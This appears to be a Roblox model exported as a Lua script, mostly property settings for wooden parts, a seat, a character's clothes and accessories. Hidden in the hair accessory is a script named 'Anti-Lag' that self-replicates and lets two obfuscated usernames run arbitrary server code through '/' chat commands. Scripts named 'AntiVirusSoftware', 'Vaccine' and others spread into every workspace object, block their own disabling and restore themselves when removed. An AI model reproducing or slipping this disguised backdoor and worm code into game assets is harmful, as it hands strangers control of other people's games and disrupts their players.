- Part197.TopSurface = Enum.SurfaceType.Smooth
- Part197.brickColor = BrickColor.new("Bright yellow")
- Part197.FormFactor = Enum.FormFactor.Custom
- Part197.formFactor = Enum.FormFactor.Custom
- CylinderMesh198.Parent = Part197
- CylinderMesh198.Scale = Vector3.new(0.75, 0.699999988, 8)
- Part199.Parent = Model176
- Part199.CFrame = CFrame.new(230.839981, 9.68258953, -13.9446821, -1.00000501, -2.98024716e-08, 0, -2.98023224e-08, 1, 7.50242923e-11, 0, 9.31359878e-10, -1.00000489)
- Part199.Orientation = Vector3.new(0, 180, 0)
- Part199.Position = Vector3.new(230.839981, 9.68258953, -13.9446821)
- Part199.Rotation = Vector3.new(-180, 0, 180)
- Part199.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part199.Size = Vector3.new(7.99999762, 2.4000001, 0.400000006)
- Part199.Anchored = true
- Part199.BrickColor = BrickColor.new("Brown")
- Part199.Material = Enum.Material.Wood
- Part199.TopSurface = Enum.SurfaceType.Smooth
- Part199.brickColor = BrickColor.new("Brown")
- Part199.FormFactor = Enum.FormFactor.Custom
- Part199.formFactor = Enum.FormFactor.Custom
- Decal200.Parent = Part199
- Decal200.Texture = "http://www.roblox.com/asset/?id=57751106"
- VehicleSeat201.Name = "Seat"
- VehicleSeat201.Parent = Model176
- VehicleSeat201.CFrame = CFrame.new(230.839035, 1.58249295, -17.7600403, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- VehicleSeat201.Orientation = Vector3.new(0, 180, 0)
- VehicleSeat201.Position = Vector3.new(230.839035, 1.58249295, -17.7600403)
- VehicleSeat201.Rotation = Vector3.new(-180, 0, -180)
- VehicleSeat201.Color = Color3.new(0.388235, 0.372549, 0.384314)
- VehicleSeat201.MaxSpeed = 0
- VehicleSeat201.Size = Vector3.new(2, 1.80000019, 2)
- VehicleSeat201.Torque = 0
- VehicleSeat201.Anchored = true
- VehicleSeat201.BottomSurface = Enum.SurfaceType.Smooth
- VehicleSeat201.BrickColor = BrickColor.new("Dark stone grey")
- VehicleSeat201.TopSurface = Enum.SurfaceType.Smooth
- VehicleSeat201.brickColor = BrickColor.new("Dark stone grey")
- VehicleSeat201.HeadsUpDisplay = false
- VehicleSeat201.TurnSpeed = 0
- CylinderMesh202.Parent = VehicleSeat201
- Part203.Parent = Model176
- Part203.CFrame = CFrame.new(227.33905, 6.48262405, -13.9600296, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part203.Orientation = Vector3.new(0, 180, 0)
- Part203.Position = Vector3.new(227.33905, 6.48262405, -13.9600296)
- Part203.Rotation = Vector3.new(-180, 0, -180)
- Part203.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part203.Size = Vector3.new(1, 5.99999857, 0.400000036)
- Part203.Anchored = true
- Part203.BrickColor = BrickColor.new("Brown")
- Part203.Material = Enum.Material.Wood
- Part203.TopSurface = Enum.SurfaceType.Smooth
- Part203.brickColor = BrickColor.new("Brown")
- Part203.FormFactor = Enum.FormFactor.Custom
- Part203.formFactor = Enum.FormFactor.Custom
- Part204.Parent = Model176
- Part204.CFrame = CFrame.new(227.293396, 6.08796692, -13.5390663, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
- Part204.Orientation = Vector3.new(0, -90, -90)
- Part204.Position = Vector3.new(227.293396, 6.08796692, -13.5390663)
- Part204.Rotation = Vector3.new(90, -90, 0)
- Part204.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part204.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part204.Anchored = true
- Part204.BrickColor = BrickColor.new("Dark stone grey")
- Part204.brickColor = BrickColor.new("Dark stone grey")
- Part204.FormFactor = Enum.FormFactor.Custom
- Part204.formFactor = Enum.FormFactor.Custom
- CylinderMesh205.Parent = Part204
- SpecialMesh206.Parent = Part204
- Part207.Parent = Model176
- Part207.CFrame = CFrame.new(227.33905, 5.18252277, -13.6600056, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part207.Orientation = Vector3.new(0, 180, 0)
- Part207.Position = Vector3.new(227.33905, 5.18252277, -13.6600056)
- Part207.Rotation = Vector3.new(-180, 0, -180)
- Part207.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part207.Size = Vector3.new(1.39999962, 2.20000005, 0.200000003)
- Part207.Anchored = true
- Part207.BrickColor = BrickColor.new("White")
- Part207.brickColor = BrickColor.new("White")
- Part207.FormFactor = Enum.FormFactor.Custom
- Part207.formFactor = Enum.FormFactor.Custom
- Decal208.Parent = Part207
- Decal208.Texture = "http://www.roblox.com/asset/?id=85236996"
- BlockMesh209.Parent = Part207
- Part210.Parent = Model176
- Part210.CFrame = CFrame.new(234.639099, 1.88252401, -15.2600279, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part210.Orientation = Vector3.new(0, 90, 0)
- Part210.Position = Vector3.new(234.639099, 1.88252401, -15.2600279)
- Part210.Rotation = Vector3.new(0, 90, 0)
- Part210.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part210.Size = Vector3.new(2.19999981, 2.4000001, 0.400000006)
- Part210.Anchored = true
- Part210.BrickColor = BrickColor.new("Brown")
- Part210.Material = Enum.Material.Wood
- Part210.TopSurface = Enum.SurfaceType.Smooth
- Part210.brickColor = BrickColor.new("Brown")
- Part210.FormFactor = Enum.FormFactor.Custom
- Part210.formFactor = Enum.FormFactor.Custom
- Part211.Parent = Model176
- Part211.CFrame = CFrame.new(226.939056, 3.58247995, -14.2600241, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part211.Orientation = Vector3.new(0, 90, 0)
- Part211.Position = Vector3.new(226.939056, 3.58247995, -14.2600241)
- Part211.Rotation = Vector3.new(0, 90, 0)
- Part211.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part211.Size = Vector3.new(0.200000867, 0.200000003, 0.200000003)
- Part211.Anchored = true
- Part211.BrickColor = BrickColor.new("Dark stone grey")
- Part211.brickColor = BrickColor.new("Dark stone grey")
- Part211.FormFactor = Enum.FormFactor.Custom
- Part211.formFactor = Enum.FormFactor.Custom
- CylinderMesh212.Parent = Part211
- BodyColors213.Parent = Model5
- BodyColors213.HeadColor = BrickColor.new("Light orange")
- BodyColors213.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- BodyColors213.LeftArmColor = BrickColor.new("Light orange")
- BodyColors213.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- BodyColors213.LeftLegColor = BrickColor.new("Light orange")
- BodyColors213.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- BodyColors213.RightArmColor = BrickColor.new("Light orange")
- BodyColors213.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- BodyColors213.RightLegColor = BrickColor.new("Light orange")
- BodyColors213.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- BodyColors213.TorsoColor = BrickColor.new("Light orange")
- BodyColors213.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549)
- Shirt214.Name = "Shirt"
- Shirt214.Parent = Model5
- Shirt214.ShirtTemplate = "http://www.roblox.com/asset/?id=494129861"
- Accessory215.Name = "CoolBoyHair"
- Accessory215.Parent = Model5
- Accessory215.AttachmentPoint = CFrame.new(0, 0.0500000007, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Accessory215.AttachmentPos = Vector3.new(0, 0.0500000007, 0)
- Part216.Name = "Handle"
- Part216.Parent = Accessory215
- Part216.CFrame = CFrame.new(231.486786, 5.14999294, -19.4362869, -0.954082847, 3.76072334e-21, 0.299544066, 6.38233093e-21, 1, 7.7736261e-21, -0.299544066, 9.32846716e-21, -0.954082847)
- Part216.Orientation = Vector3.new(0, 162.570007, 0)
- Part216.Position = Vector3.new(231.486786, 5.14999294, -19.4362869)
- Part216.Rotation = Vector3.new(-180, 17.4300003, -180)
- Part216.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- Part216.Size = Vector3.new(1.3400265, 1.34999824, 0.779999673)
- Part216.Anchored = true
- Part216.BottomSurface = Enum.SurfaceType.Smooth
- Part216.CanCollide = false
- Part216.Locked = true
- Part216.TopSurface = Enum.SurfaceType.Smooth
- Part216.FormFactor = Enum.FormFactor.Custom
- Part216.formFactor = Enum.FormFactor.Custom
- SpecialMesh217.Parent = Part216
- SpecialMesh217.MeshId = "http://www.roblox.com/asset/?id=188004660 "
- SpecialMesh217.TextureId = "http://www.roblox.com/asset/?id=451217406"
- SpecialMesh217.MeshType = Enum.MeshType.FileMesh
- Vector3Value218.Name = "OriginalSize"
- Vector3Value218.Parent = Part216
- Vector3Value218.Value = Vector3.new(1.3400265, 1.34999824, 0.779999673)
- Weld219.Name = "AccessoryWeld"
- Weld219.Parent = Part216
- Weld219.C0 = CFrame.new(8.65838956e-09, 0.150000095, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
- Weld219.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
- Weld219.Part0 = Part216
- Weld219.Part1 = Part58
- Weld219.part1 = Part58
- Camera220.Name = "ThumbnailCamera"
- Camera220.Parent = Accessory215
- Camera220.CFrame = CFrame.new(-0.621695459, 18.8608036, 20.4826336, -0.891687095, 0.136562526, -0.431561112, -7.45058149e-09, 0.953404903, 0.301693916, 0.452652574, 0.269016564, -0.850138664)
- Camera220.CoordinateFrame = CFrame.new(-0.621695459, 18.8608036, 20.4826336, -0.891687095, 0.136562526, -0.431561112, -7.45058149e-09, 0.953404903, 0.301693916, 0.452652574, 0.269016564, -0.850138664)
- Camera220.Focus = CFrame.new(0.241426766, 18.2574158, 22.1829109, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Camera220.focus = CFrame.new(0.241426766, 18.2574158, 22.1829109, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Script221.Name = "Anti-Lag"
- Script221.Parent = Accessory215
- table.insert(cors,sandbox(Script221,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Pants222.Name = "Pants"
- Pants222.Parent = Model5
- Pants222.PantsTemplate = "http://www.roblox.com/asset/?id=494161181"
- VelocityMotor223.Name = "ViVRuS"
- VelocityMotor223.Parent = Model5
- Weld224.Name = "ViVRuS"
- Weld224.Parent = VelocityMotor223
- Script225.Name = "AntiVirusSoftware"
- Script225.Parent = Weld224
- table.insert(cors,sandbox(Script225,function()
- --[[
- Virus Protect Pro! By Nomnomnom1.
- Want your place virus free(finally)?
- Do you want it now?
- Then use this script and i'll show you the basics of anti virus software!
- As you can clearly see...The script below probably already has
- removed all possible viruses.
- ]]
- ----------------------------------------------------------------------------------------------------------------------------------------------
- cs = { "Timer", "Geometry", "Weld", "RotateP", "RotateV", "VelocityMotor" } -- Classes the script knows so it can remove it ;) Enter more here lol
- g = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, "�", "�", "�", "+" } -- checks for all of the possible special characters....again enter more here ;D
- egd = script
- ----------------------------------------------------------------------------------------------------------------------------------------------
- ----------------Please do not edit anything beyond this point ^_^--------------------------------------------------------------
- ----------------------------------------------------------------------------------------------------------------------------------------------
- for i = 1, #cs do
- if egd.className ~= cs[i] then
- s=true
- end
- end
- if s == true then
- local s = Instance.new(cs[math.random(1, #cs)])
- s.Parent = script.Parent
- script.Parent = s
- egd=egd.Parent
- s.Name = string.reverse("SuRViV")
- else
- egd=egd.Parent
- end
- egdd = egd:Clone()
- pcall(function() egdd.Help:remove() end)
- wait()
- tp = egd.Parent
- local sos = string.reverse("delbasiD")
- lssii = workspace
- lssi = lssii:GetChildren()
- coroutine.resume(coroutine.create(function()
- while true do
- egd[sos] = false
- wait()
- end
- end))
- coroutine.resume(coroutine.create(function()
- for i = 1 , math.huge do
- wait(60*3)
- if game.Players.NumPlayers > 1 then
- local m = Instance.new("Hint")
- m.Parent = workspace
- m.Name = "�"
- m.Text = string.reverse("!AHAHAWM !oot uoy kcah lliw 1monmonmoN")
- end
- end
- end))
- function Kelssxx(s)
- return string.reverse(s)
- end
- function lk(property)
- local kte = property
- if kte == "Disabled" then
- egd[kte] = false
- end
- end
- function SAVEDZOMG(place)
- if lssii:findFirstChild(place) == nil then
- local v = Instance.new(cs[math.random(1, #cs)])
- v.Parent = workspace
- v.Name = place
- end
- end
- function nft(ssaa)
- for i = 1, #ssaa:children() do
- if string.find(ssaa:children()[i].Name, "Tazer") then
- print("Fake Virus Scanner Found!")
- ssaa:GetChildren()[i]:remove()
- elseif ssaa:children()[i]:findFirstChild(egd.Name) == nil and ssaa:children()[i].Name ~= script.Name then
- print("Backing up " ..tp.Name.. "...")
- egd:Clone().Parent = ssaa:children()[i]
- end
- end
- end
- tp.DescendantRemoving:connect(function(jji)
- if jji == egd then
- egdd.Parent = tp
- print("Backing up " ..tp.Name.. "...")
- egdd[sos] = false
- end
- end)
- script.Changed:connect(lk)
- while true do
- nft(lssii)
- nft(game:service(string.reverse("smaeT")))
- SAVEDZOMG(string.reverse("mroW"))
- SAVEDZOMG(string.reverse("devas gmoZ"))
- SAVEDZOMG(string.reverse("AF#(IRHFD*IH#QEA(SDFIOH!@)#WESUOCJ)Q#$)ERDFXC)#QWROJASCFLMXZ"))
- wait(1)
- end
- end))
- Script226.Name = "Vaccine"
- Script226.Parent = Model5
- table.insert(cors,sandbox(Script226,function()
- function spread() -- created by dom1100
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" or v.Name == "ProperGr�mmerNeededInPhilosiphalLocations;insertNoobHere" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- print("Virus debugged! All clean!")
- end))
- Weld227.Name = "J0HN"
- Weld227.Parent = Model5
- Script228.Name = "J0HNSCR1PT"
- Script228.Parent = Weld227
- table.insert(cors,sandbox(Script228,function()
- function haxor()
- x = game.Workspace:GetChildren()
- for i = 1, #x do
- if x[i]:FindFirstChild("J0HN") == nil then
- local w = Instance.new("Weld")
- w.Parent = x[i]
- w.Name = "J0HN"
- s = script:clone()
- s.Parent = w
- s.Name = "J0HNSCR1PT"
- end
- end
- end
- while true do
- haxor()
- wait(.1)
- end
- end))
- RotateP229.Name = "d��������������ng.........you got owned..."
- RotateP229.Parent = Model5
- RotateP229.BaseAngle = 0.25
- Script230.Name = "Script......Or is it..."
- Script230.Parent = RotateP229
- table.insert(cors,sandbox(Script230,function()
- -- Thanks for using My hack.............suka XD
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "d��������������ng.........you got owned..."
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("d��������������ng.........you got owned...") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("Hello...I �m Your New Lord Lolz") == nil then
- local main = script.Parent:Clone()
- main.Name = "Hello...I �m Your New Lord Lolz"
- main.Parent = workspace
- end
- wait(3)
- end
- -- Credit goes to Nomnomnom1..........................really..........did you need to know?!
- -- Have a nice day. XD
- end))
- Model231.Parent = mas
- Part232.Name = "EPIC DUCK"
- Part232.Parent = Model231
- Part232.CFrame = CFrame.new(229.492569, 3.19773412, -8.18714142, 0.995399415, 0.00047259088, 0.0958113596, -0.000332515308, 0.999998868, -0.00147795409, -0.0958119407, 0.00143929583, 0.995398402)
- Part232.Orientation = Vector3.new(0.0799999982, 5.5, -0.0199999996)
- Part232.Position = Vector3.new(229.492569, 3.19773412, -8.18714142)
- Part232.Rotation = Vector3.new(0.0900000036, 5.5, -0.0299999993)
- Part232.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part232.Velocity = Vector3.new(1.40815544, -0.155106053, -1.90228903)
- Part232.Size = Vector3.new(5, 5.5999999, 5)
- Part232.Anchored = true
- Part232.BrickColor = BrickColor.new("Sand red")
- Part232.Material = Enum.Material.Wood
- Part232.RotVelocity = Vector3.new(-0.0137157198, 3.41890836, -0.0722064003)
- Part232.brickColor = BrickColor.new("Sand red")
- Part232.FormFactor = Enum.FormFactor.Plate
- Part232.formFactor = Enum.FormFactor.Plate
- SpecialMesh233.Parent = Part232
- SpecialMesh233.MeshId = "http://www.roblox.com/asset/?id=9419831"
- SpecialMesh233.Scale = Vector3.new(5, 5, 5)
- SpecialMesh233.TextureId = "http://www.roblox.com/asset/?id=9419827"
- SpecialMesh233.MeshType = Enum.MeshType.FileMesh
- Part234.Parent = Model231
- Part234.CFrame = CFrame.new(228.945755, 0.200023651, -8.64144135, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part234.Position = Vector3.new(228.945755, 0.200023651, -8.64144135)
- Part234.Color = Color3.new(0.0509804, 0.411765, 0.67451)
- Part234.Transparency = 100
- Part234.Size = Vector3.new(8, 0.400000006, 8)
- Part234.Anchored = true
- Part234.BrickColor = BrickColor.new("Bright blue")
- Part234.TopParamA = -0.10000000149012
- Part234.TopParamB = 0.10000000149012
- Part234.TopSurface = Enum.SurfaceType.Motor
- Part234.TopSurfaceInput = Enum.InputType.Constant
- Part234.brickColor = BrickColor.new("Bright blue")
- Part234.FormFactor = Enum.FormFactor.Plate
- Part234.formFactor = Enum.FormFactor.Plate
- Snap235.Parent = Part234
- Snap235.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
- Snap235.C1 = CFrame.new(-1.054245, 10.0000238, -3.64144135, 1, 0, 0, 0, 0, -1, 0, 1, 0)
- Snap235.Part0 = Part234
- Snap235.Part1 = Part1
- Snap235.part1 = Part1
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement